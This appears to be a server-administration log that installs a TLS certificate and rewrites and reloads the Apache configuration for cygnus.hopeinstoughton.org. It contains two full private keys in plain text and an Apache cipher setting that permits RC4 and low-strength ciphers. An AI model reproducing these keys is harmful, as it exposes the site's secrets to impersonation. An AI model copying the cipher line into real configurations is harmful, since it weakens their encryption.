L3IxMy5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWl4ZXIuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzkxLmNybDCCAQ0GCisGAQQB1nkCBAIEgf4E
gfsA+QB3ANdtfRDRp/V3wsfpX9cAv/mCyTNaZeHQswFzF8DIxWl3AAABniUTPqwA
AAQDAEgwRgIhALywmiw+K0xM1eSINeL+6DdvqjcrIMz/reyxttOS0+uvAiEAjZhU
aJCj9rTZzsPAYXKSOvAjoXHF4iZstJSa9Lz8Ll0AfgBGr4Y9Oz7ln6V33qgkXTaw
2e0ioiP0YXdBIpRS7pVQXwAAAZ4lEz9RAAgAAAUABpAfUAQDAEcwRQIge55cSLwS
hblqQPgN48Y4LOqh4ln/jwSZckMzdoeUjTYCIQDgROP5sGPgT4ECWzMl30cPEJci
0TkIKOb750pITVILWDANBgkqhkiG9w0BAQsFAAOCAQEAEp9f/W0ZAHXXgaCfc47d
prZVwUQ7O2dGqm5Iz8wVUGeeJ5cnggNjRiqVGe5EQXddzgRgjcCS8WajedCiUaqI
CnrtTbNXxqdpnQp+P8HWDXX9LfvRq9A3YV8BEcLoZipsFKOItnyBysKD/vA/gJyK
1kaarWCzgw1mKbBv4qcgH4evGHENgYTnGS84OnGg9MFOlUpr9s3h8xk9l/xVNEqG
Ipcc94KKkwEnLSkpbGU6ZOm2r+t6yZEuI3G5Qm6bC/dbawXCbtB6FuOKCIO7enJW
jtCJbfi+/WeBT2RqqHZcXiZth6Ufcf2CefywsSZNTNijv6AEHctFQMquOJyh8i9j
RQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCc4t1L7S9uHxt+
3CK4kMHB5cHx5XbBI1qbUb8eEEBvr09a2NdmFlKghLLj05Blrz697cFtvEq+uQUc
4wsmFBAoIHTMn+xZLpm/xPGfxSMivzr+tzRGGD4MaIyKkLsTqfLk+R7wAygt9jzh
xJGrIekV4g0BRIXkBY+t7ayNVlgz7bqYayTdSyo9OK3b4iwzqvt0PTseqz5K6GMq
F5y/Q7+4Z/xMtGm+jEUavUlECv2KonucrhC4RSgOwGEqctiwDRJzS4vsr6sDWHz2
rASM2hll6JE3HjVCncShlb0baCGzdJdDtM5iOpbYxzf6ooMgO+chazJhy+CPiUNn
TBtrbTm1AgMBAAECggEAHCnCoahmsQ1PBYc1iW3dBnZ9CjRPzOyQjZzPYvF2a8Ys
B+owwrADrbKcnXbjb0mWCQjXBiC8xz+WCiE85V1JKDbpWLllt3281nbfjDearthm
2gZf0Sx1aQtUnWRNXQKPaqjI87uRWSzgsYO0xaSM/+NoQ7++DFiuOgIWTXoAU/PT
XfMG4Q0Rq0FDU3hWAoQvJKmPYfPVWPfwHDnV9xgI3+X66/yxV+n1ON5eHF9sttVC
b2ATqUaroIKB30/rOWTiOovcncVwO7HQFIP1uyTrJAddme/5tdkRcERQwCtEJHRM
Oyj1SAJrmsrKgi3Dzymm1Qf4OqOBlWPRzy74XqPIYQKBgQDQwjnMhfTXuMaJ3tzF
F0nDpLpZ2/wQsUE3K7IUXn0sgnLBuzPtTC31omsgW6/kWrF5Dw7k/RFsxgG97VKv
XdqQgBRSx0KMJYSqb5CG2qq0TSuvxDuw3fP7KAtFT9t1cNC0S2C1SZvcP4VQCniI
Mp4ZCiMg014JGM8JFsKUB+bxlQKBgQDAY5G6m3UvGftDrpsP/4yQ1AyY87Z9BdTo
1APQzrTwduBZPsB69DFA6TQ5Wlgrdya+5hCPm2dTko0ofVPOywLurM3Y55VX+8Bz
N7XDcffmonNlA3Yk5I0UVoHguiscZ/h6zQAZv+qyG5BEj1TzasqMimgcHlKBoOwK
9D3sQSVfoQKBgQC7wfS6PsE4RLhMyGVH3uo5TK9OoszTNpmxRVuldlae8bTFCdpq
U1oC01IGiHBqsids+l4rFnHVo0Ft0UXM9FzgGlItIYp5AkWQBUe4AnQGNmJUc+o7
6WTHP/zjGjAIMK+FeUZBxzKnpXoBw2klFmGbo8J0g6bQB8AuLIpVGcZdAQKBgQC2
vh1PfpjZy7kSugjKMngnnXP12RFPQjnRiomxTpcqDhDeVK/qWodqW9liXQGBD+W6
0LeMYRXNmVgBzMHNnKJFadkBnkAKWbSc/J7nbhsGdOpdWeNf+cRUPDOT7eJDUjMB
GjZtPxHEalAn/2m26YpJ4rIve1HtlZiAcy1aeyrv4QKBgC6c40fz974xjt9QCjaz
QzLC9Q2fCAqsj8A/v7AmsohkiYwZ8rO+YL47VWHRPQsuUBbMRGAGPgNyCcI91xNx
RngYfrPrSZ3VjAmyQ0LwVSP6fbq12+1HJ2zSJ5XADE0XpgPh4RDkNTGeQ+EDKkNK
SbLt5voHiG5d3lI3vIEaoQ/k
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-14 06:01:27: Establishing a connection
2026-05-14 06:01:28: Establishing a connection
2026-05-14 06:01:29: 

PUT: /tmp/pkp410183

#!/bin/bash
if [ -d "/var/www/cygnus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-14 06:01:29: 

chmod 755 /tmp/pkp410183; /tmp/pkp410183; rm /tmp/pkp410183

2026-05-14 06:01:30: 


0


2026-05-14 06:01:49: Establishing a connection
2026-05-14 06:01:50: 

PUT: /tmp/pkp129343

#!/bin/bash
temp_file=$(mktemp)
TARGET=de5c0e727038623f544d9b5f10eaf734

cat > $temp_file <<'endmsg'
6a:37:ca:75:77:5d:71:9e:25:08:70:64:9c:7a:12:13

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBTSeKbIe99ixgrQsAPy3Y/i6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE0MDUwMzE2WhcNMjYwODEyMDUwMzE1WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMLBvKLjO9W9lEEg/MN2hlbGHHR+1LDa0YiBNAzIHgqy4vXF
Pi1KhGOdLIQlyOH01bsuCtk1cTE0HjeLMm/VoKKDDjJwntTc7OHbTgVWW72dYGO4
4sBr+pfhC5bBCZkW0TzQ5BR9FHSucCdyGaJMoq/+K2gpF1Z4N7iIAwl9ndnCWHqT
Ef5AqH1aoikDDFNsvQtzQk/DuGG0OG+NJEmCPBPWWGT9js9p4ozVPMEGp0nXTmMN
Q87x03ofqDgtVyO9FEo58sLNIrp4YXhEhBa8Prr0/Shdaq4K2xuKY5JhSfoefch0
1j0S7D1UHyh/GCIS+Oa1QHH1g2jQ7lTWFjFA4rMCAwEAAaOCAicwggIjMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQuiSfxHMUoFsrmCIHp9V/5uA7ekjAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmN5Z251cy5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTkuY3JsMIIBCwYKKwYBBAHWeQIEAgSB
/ASB+QD3AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGeJROs
OQAABAMARjBEAiAkoATd6/e8SVwsLxg6SwQwEKRFk2rxjT5AoQY4CtY5PAIgPWrd
u7p7stA57YOFCFdrY3Do2yIFpFuhQHC4cofrIX0AfgAm42RuWGkhI7w0P0ckNZs3
ks0kWojYFdOTM/2ZGKtHIwAAAZ4lE6wSAAgAAAUAEP0UWgQDAEcwRQIgW5XuXSBT
lEv+Ux3D13A/Re3vnsVetqPaFdwV+0KrJNwCIQDeFpTE2q7SOOBwgPnEbsQhOR3h
ilMKQDt2f5ePenDyvjANBgkqhkiG9w0BAQsFAAOCAQEAVidjFAQVTjXI8tfB6NoR
DLjoN96Ee78P0ZRQ4mwXu5dlFTHbw0WVYzW+MGC2TO3N26uuJFrRFshrS8PGrCUx
KqwQmWV2mO3bg5TvJrXr/F++meN3c9rlAfMazhS35KPncx/ktMUHFRRiumhlWTO0
lymYHzb2tMFqwbXJ1Ms7++phJYGNNF+720M/Kd/VMHgiJOojXDwjNafoCdeKHyGg
J6fGeC5WiL6PHTawx5vY/8VOtnYKlDfN6iq2pHzPO12nbUfQMxVjFLOq42iHghct
ZWL8yzjsf5YP9b+U9utVzRih1ff8nHjTxSVMCY7eAN8IN2zshct4ohE3qLoDTClJ
CQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDCwbyi4zvVvZRB
IPzDdoZWxhx0ftSw2tGIgTQMyB4KsuL1xT4tSoRjnSyEJcjh9NW7LgrZNXExNB43
izJv1aCigw4ycJ7U3Ozh204FVlu9nWBjuOLAa/qX4QuWwQmZFtE80OQUfRR0rnAn
chmiTKKv/itoKRdWeDe4iAMJfZ3Zwlh6kxH+QKh9WqIpAwxTbL0Lc0JPw7hhtDhv
jSRJgjwT1lhk/Y7PaeKM1TzBBqdJ105jDUPO8dN6H6g4LVcjvRRKOfLCzSK6eGF4
RIQWvD669P0oXWquCtsbimOSYUn6Hn3IdNY9Euw9VB8ofxgiEvjmtUBx9YNo0O5U
1hYxQOKzAgMBAAECggEADUxxOUZ1p5IwoMPfhXq/EJlg9eTlNBl+J3KM1mSYqkVb
g6UqhalXvVi60DuC1/8K+NokpVp37UmLtBkZhu5sXYWbkX7fn1WGUez3VBxmkblA
sVn0YB6WSgrQRkTOBzCVmlSTz5MzxbzDSQ9l2kZVOmxCJqtLophGeJ+hiXWU6bF9
M8qp9p/ABRJ+kt1drR/FWC/w8frT1zhibWvUk6f/thTvFLhJSLfwVpKBR1srOQ18
PfcXyg1oF0egjq2w2qoQKz5A6YWw9P/J0oAqdwc+rYK6bY+Y/SeF9EtlsAyCQ4J3
aaI6+nDiQdCRYXfRVRZVD8YJ+QrBrdKJayxuddw8tQKBgQD0/gKItGnjvjRVLKxb
CAqmrbqKL8NLJcZSm02P4vZGg5+PUdDDmwVVfqw0AR8OjR1X6jdKHwU48gMpfwTJ
AUOOKA/seV93v18PChxm0OPQv6rHwo0d+qh0XF/aaeQ/vEcd2bi2fzr5NctRU+Dj
4V6b3+Tn+xRW6gUNm2OybokwXQKBgQDLgeaK+MdEBfxkqilxy+6CSpLvdsA7TIOm
ZiQc4+isQfbrCtF6DL+pBSe/VX0SIrqRJ7xTDPl+zxQ2rO9TvnelTR85ZY0nFxZM
4IcxPSJRzSJfUjkqz/MmenEf6SeLXs2eD3wzzpJmeLv2ovsJOBCygJpynGfdTTcZ
so/mdH9uTwKBgQDc782dNwZfagKL5XOxzHi+g+G8CQLX3EMT8BZsckOip8TXXPMl
08FlrozhgTleyAf0ZrZh08PD7QzI+VF5a/heVOa3XWWo+h5h0751QmCQuqjq6RqW
NJyCA2Q19lTu3X5M/zHC8s5ePBMVTs169J17eNhYFGftUbIo6T9phKGXyQKBgQDK
zXMP/welFEoHj0Op8c6H7QUsuiyra36uro9CcyUFtN76MFe8x0OgjlCj7e+ryQwf
Z3fXU9C2vGqqagA+dksJYifBrR/TWsCQcBiJyyCOYFzmnSv3LDBlohNl95W+4AUM
hOYDQtLGZ375NEXzU/nfySUhHhirgy1r4HRi9qmfJQKBgQDH+gaB/UhnEzuHXykQ
Hz87C+56nUQTedti4HOI1gtg77U1162+AC3SxVETOL8CVCt4Q5NMNRtIG5+9PSiU
P7ZnBVMwrebLZfsJauI9e8GHuuVYukNJ+ZAdcaNqqpZslSxHnnkpJkXFWxoerbns
nQL6c+RrbF368Ubue2McScL76A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-14 06:01:51: 

chmod 755 /tmp/pkp129343; /tmp/pkp129343; rm /tmp/pkp129343

2026-05-14 06:01:51: 


dir=/etc/ssl/certs


2026-05-14 06:01:51: 

PUT: /tmp/pkp672095

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-14 06:01:51: 

chmod 755 /tmp/pkp672095; /tmp/pkp672095; rm /tmp/pkp672095

2026-05-14 06:01:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 50
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>






2026-05-14 06:01:51: 

PUT: /tmp/pkp711653

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cygnus_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf= 1'
fi


2026-05-14 06:01:52: 

chmod 755 /tmp/pkp711653; /tmp/pkp711653; rm /tmp/pkp711653

2026-05-14 06:01:52: 




2026-05-14 06:01:52: 

PUT: /tmp/pkp518543

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-14 06:01:53: 

chmod 755 /tmp/pkp518543; /tmp/pkp518543; rm /tmp/pkp518543

2026-05-14 06:01:53: 


.


2026-05-14 06:01:53: Establishing a connection
2026-05-14 06:01:54: 

PUT: /tmp/pkp744032

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-14 06:01:55: 

chmod 755 /tmp/pkp744032; /tmp/pkp744032; rm /tmp/pkp744032

2026-05-14 06:01:55: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
